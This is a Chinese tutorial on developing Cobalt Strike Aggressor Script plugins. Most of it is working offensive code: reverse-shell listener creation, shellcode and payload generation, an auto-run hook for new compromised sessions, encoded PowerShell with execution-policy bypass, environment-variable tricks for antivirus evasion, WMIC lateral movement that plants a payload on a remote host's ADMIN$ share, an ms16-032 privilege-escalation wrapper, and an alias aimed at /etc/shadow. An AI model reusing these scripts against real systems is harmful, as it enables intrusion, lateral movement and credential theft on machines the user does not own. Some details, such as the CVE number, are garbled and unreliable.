cobalt strike插件开发(二)
更多安全文章请关注!
0x05 监听器
监听器(Listeners
)是Cobalt Strike
处理bot发来的信息的核心模块。
0x0501 监听器API
agscript
会收集来自连接到的当前团队服务器的监听器的信息,这样做的好处是可以轻松地将会话转移给另一台团队服务器,想要获取所有监听器名称的列表可以使用&listeners
函数,只使用本地侦听器的话用&listeners_local
函数,&listener_info
函数可将监听器名称解析为其配置信息,demo:
command showlisteners {
local('$name $key $value');
foreach $name (listeners()) {
println("== $name == ");
foreach $key => $value (listener_info($name)) {
println("$[20]key : $value");
}
}
}
0x0502 监听器创建
用&listener_create函数啦。
demo:
# 新建一个foreign监听器
listener_create("msf", "windows/foreign_https/reverse_https",
"192.168.149.208", 443);
# 新建一个HTTP Beacon监听器
listener_create("http default2", "windows/beacon_http/reverse_http",
"192.168.149.208", 84,
"192.168.149.208, 192.168.149.208");
0x0503 监听器删除
用&listener_delete
函数,值得注入的是需要传入一个参数,也就是监听器的名称。
listener_delete("msf");
0x0504 监听器选择
使用&openPayloadHelper会弹出一个当前可用的监听器列表供选择,使用者选完后程序会接着运行回调函数,demo:
item "&Spawn" {
openPayloadHelper(lambda({
binput($bids, "spawn $1");
bspawn($bids, $1);
}, $bids => $1));
}
0x0505 Shellcode生成
使用&shellcode为指定的侦听器名称生成shellcode
。
popup beacon_bottom {
item "生成shellcode" {
$data = shellcode("listener1", false, "x64");
$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);
}
}
shellcode函数共传入了三个参数,第一个是监听器的名称,第二个是选择是否发送给远程主机(true/false),第三个是系统的架构(x64/x86)。
0x0506 exe/dll生成
用&artifact函数啦。
有四个参数需要传入:
artifact("listener1","exe",false, x64);
对比shellcode生成仅多了第二个参数,也就是生成的bot程序的类型,共七种类型可选:
类型参数 | 描述 |
---|---|
dll | x86 DLL |
dllx64 | x64 DLL |
exe | windows可执行程序啦 |
powershell | powershell脚本 |
python | python脚本 |
svcexe | 以服务启动的可执行文件啦 |
vbscript | vb脚本 |
0x0507 PowerShell
函数是&powershell ,用法:
println(powershell("my listener", false,x86));
和shellcode的写法一模一样,不作赘述。(本来就属于shellcode的一个子集,不知道官方为啥要独立出来写。)
0x0508 Stageless
函数&artifact_stageless,demo:
sub ready {
local('$handle');
$handle = openf(">out.exe");
writeb($handle, $1);
closef($handle);
}
artifact_stageless("my listener", "exe", "x86", "", &ready);
对比exe/dll生成多的参数是代理的信息,其他无异。
0x06 Beacon
Beacon
是Cobalt Strike
后渗透的重要功能。
0x0601 元数据处理
Cobalt Strike
给每个Beacon
会话都分配了一个随机ID,执行任务时任务的元数据与每个Beacon的ID相关联,使用beacons
函数可查询到查询所有当前Beacon会话的元数据,beacon_info
函数则是用于查询制定Beacon
会话的元数据。 Demo:
command showbeacons {
local('$entry $key $value');
foreach $entry (beacons()) {
println("== " . $entry['id'] . " ==");
foreach $key => $value ($entry) {
println("$[20]key : $value");
}
println();
}
}
0x0602 Aliases
快捷命令,和macOS等系统上的使用道理是一样的,使用alias函数直接注册,看demo:
alias hello {
blog($1, "Hello World!");
}
(其实和command函数感觉没啥差异。)
快捷命令参数的用法和其他语言一样,$0是脚本本身,$1是第一个参数,以此类推,不再做赘述。
官方在此处提了下注册beacon别名的函数beacon_command_register,主要作用就是方便把beacon命令写成接口吧,但是没有具体的说明,官方函数库里面代码还写错了。
alias echo {
blog($1, "正在输入: " . substr($1, 5));
}
beacon_command_register(
"echo",
"echo text to beacon log",
"Synopsis: echo [arguments]\n\nLog arguments to the beacon console");
使用上述代码注册后即可在beacon里面使用快捷命令。
0x0603 处理新Beacons会话
此处可以理解为给新的Beacons会话添加一个自动运行的脚本,或者是让所有的新会话都运行一遍写好的脚本。
涉及到的函数是beacon_initial)
官方说明:
on beacon_initial {
# do some stuff
}
这其实是个很好用的函数,写个设置自启代码,有新会话进来就自动加载,以后就不用担心重启会话掉了。
这里有个缺陷,当Beacon第一次收到元数据时会触发beacon_initial
事件。 这意味着DNS Beacon在被要求运行命令之前不会触发beacon_initial
。 所以如果需要与首次连接C2的DNS Beacon进行交互的话,请使用beacon_initial_empty
事件。
0x0604 右键菜单
我写一个了示例:
popup beacon_bottom {
item "启动" {
prompt_text("需要运行什么命令?", "net users", lambda({
binput(@ids, "shell $1");
bshell(@ids, $1);
}, @ids => $1));
}
}
右键主机就会有一个启动的选项,点击启动
让你输入想要输入的命令,然后当作beacon中的shell
的参数传递进去。
0x0605 任务描述
任务计划
官方demo:
alias tasks {
btask($1, "Surveying the target!", "T1082");
bshell!($1, "echo Groups && whoami /groups");
bshell!($1, "echo Processes && tasklist /v");
bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
bshell!($1, "echo System Info && systeminfo");
}
添加一个btask函数来描述一下任务,第二个参数用用了ATT&CK矩阵中的信息分类,比如demo参数中的T1082是系统信息挖掘,方便对攻击信息进行筛选整理。相比println,也就是多了这个描述。
案例1 已有指令覆盖
Aliases添加的快捷指令可以覆盖已存在的命令,直接看一个覆盖内置powershell指令的demo:
alias powershell {
local('$args $cradle $runme $cmd');
# $0 is the entire command with no parsing.
$args = substr($0, 11);
# generate the download cradle (if one exists) for an imported PowerShell script
$cradle = beacon_host_imported_script($1);
# encode our download cradle AND cmdlet+args we want to run
$runme = base64_encode( str_encode($cradle . $args, "UTF-16LE") );
# Build up our entire command line.
$cmd = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
# task Beacon to run all of this.
btask($1, "Tasked beacon to run: $args", "T1086");
beacon_execute_job($1, "powershell", $cmd, 1);
}
从上到下面逐行理解:
line1 定义本地变量。
line2 $0是获取输入的原始指令,使用substr函数获取第十一个字符之后的字符串("powershell"十个字符串加一个空格)
line3 使用beacon_host_imported_script函数导入脚本,这里的host只是程序自动运行的临时web服务,并非远程主机的,所以$1写脚本的位置即可。
line4 编码字符串,之所以用UTF-16LE应该是临时web服务的编码设定问题。
line5 拼接命令
line7 描述任务详情
line8 使用beacon_execute_job函数执行命令并返回结果给Beacon
同理,可覆盖原有shell指令,用于在环境变量中隐藏Windows命令:
alias shell {
local('$args');
$args = substr($0, 6);
btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
bsetenv!($1, "_", $args);
beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}
可以利用环境变量来做一些免杀吧。
案例2 横向渗透
看一下官方Beacon脚本的扩展示例。 先注册一条beacon命令wmi-task。 并在参数中获取目标地址和监听器。 然后生成一个绑定到监听器的可执行文件,并将其复制到目标,最终使用wmic命令来运行它。
首先,让我们扩展Cobalt Strike的帮助并注册我们的wmi-alt别名:
# register help for our alias
beacon_command_register("wmi-alt", "lateral movement with WMIC",
"Synopsis: wmi-alt [target] [listener]\n\n" .
"Generates an executable and uses wmic to run it on a target");
完整的实现代码:
beacon_command_register("wmi-task", "lateral movement with WMIC",
"Synopsis: wmi-alt [target] [listener]\n\n" .
"Generates an executable and uses wmic to run it on a target");
alias wmi-task {
local('$mydata $myexe');
# check if our listener exists
if (listener_info($3) is $null) {
berror($1, "Listener $3 does not exist");
return;
}
# generate our executable artifact
$mydata = artifact($3, "exe", true);
# generate a random executable name
$myexe = int(rand() * 10000) . ".exe";
# state what we're doing.
btask($1, "Beacon 正在跳转到 $2 (" . listener_describe($3, $2) . ") 去获取系统中的信息", "T1047");
# upload our executable to the target
bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);
# use wmic to run myexe on the target
bshell!($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \"");
# complete staging process (for bind_pipe listeners)
bstage($1, $2, $3);
}
bupload_raw函数的第二个参数是上床到的目标地址,第三个参数是生成的数据。详情可查看https://www.cobaltstrike.com/aggressor-script/functions.html#bupload_raw函数的详细说明。
注意这里的主机名称要写为横向的主机名称
案例3 提权
和案例2类似,这里先使用beacon_exploit_register函数注册一个exp名,方便后面调用。
beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);
完整demo:
sub ms16_032_exploit {
local('$script $oneliner');
# acknowledge this command
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032", "T1068");
# generate a PowerShell script to run our Beacon listener
$script = artifact($2, "powershell");
# host this script within this Beacon
$oneliner = beacon_host_script($1, $script);
# task Beacon to run this exploit with our one-liner that runs Beacon
bpowershell_import!($1, script_resource("Invoke-MS16032.ps1"));
bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");
# handle staging (if we're dealing with a named pipe Beacon; does nothing otherwise)
bstage($1, $null, $2);
}
这里的beacon_host_script函数不同于上面的beacon_host_imported_script性质是一样的,为了解决生成的脚本体积过大而导致的一些错误而生。
0x06 SSH会话
Cobalt Strike的SSH客户端使用了SMB Beacon协议并实现Beacon命令调用以及子功能的使用。 从AgScript的角度来看,SSH会话是一个包含较少命令的Beacon会话。
0x0601 SSH会话的性质
与Beacon会话非常相似,SSH会话也具有自己的唯一ID。 Cobalt Strike将任务和元数据与此ID相关联。 beacons功能还将返回有关所有Cobalt Strike会话(SSH会话和Beacon会话)的信息。 使用-isssh可检测当前会话是否是SSH会话。 同理-isbeacon用于检测当前会话是否是Beacon会话。
一个用于过滤Beacon中ssh会话的demo函数
sub ssh_sessions {
return map({
if (-isssh $1['id']) {
return $1;
}
else {
return $null;
}
}, beacons());
}
0x0602 SSH快捷命令
直接看demo:
ssh_alias dumpallhash {
if (-isadmin $1) {
bshell($1, " 获取/etc/shadow里面的信息");
}
else {
berror($1, "没有管理员权限");
}
}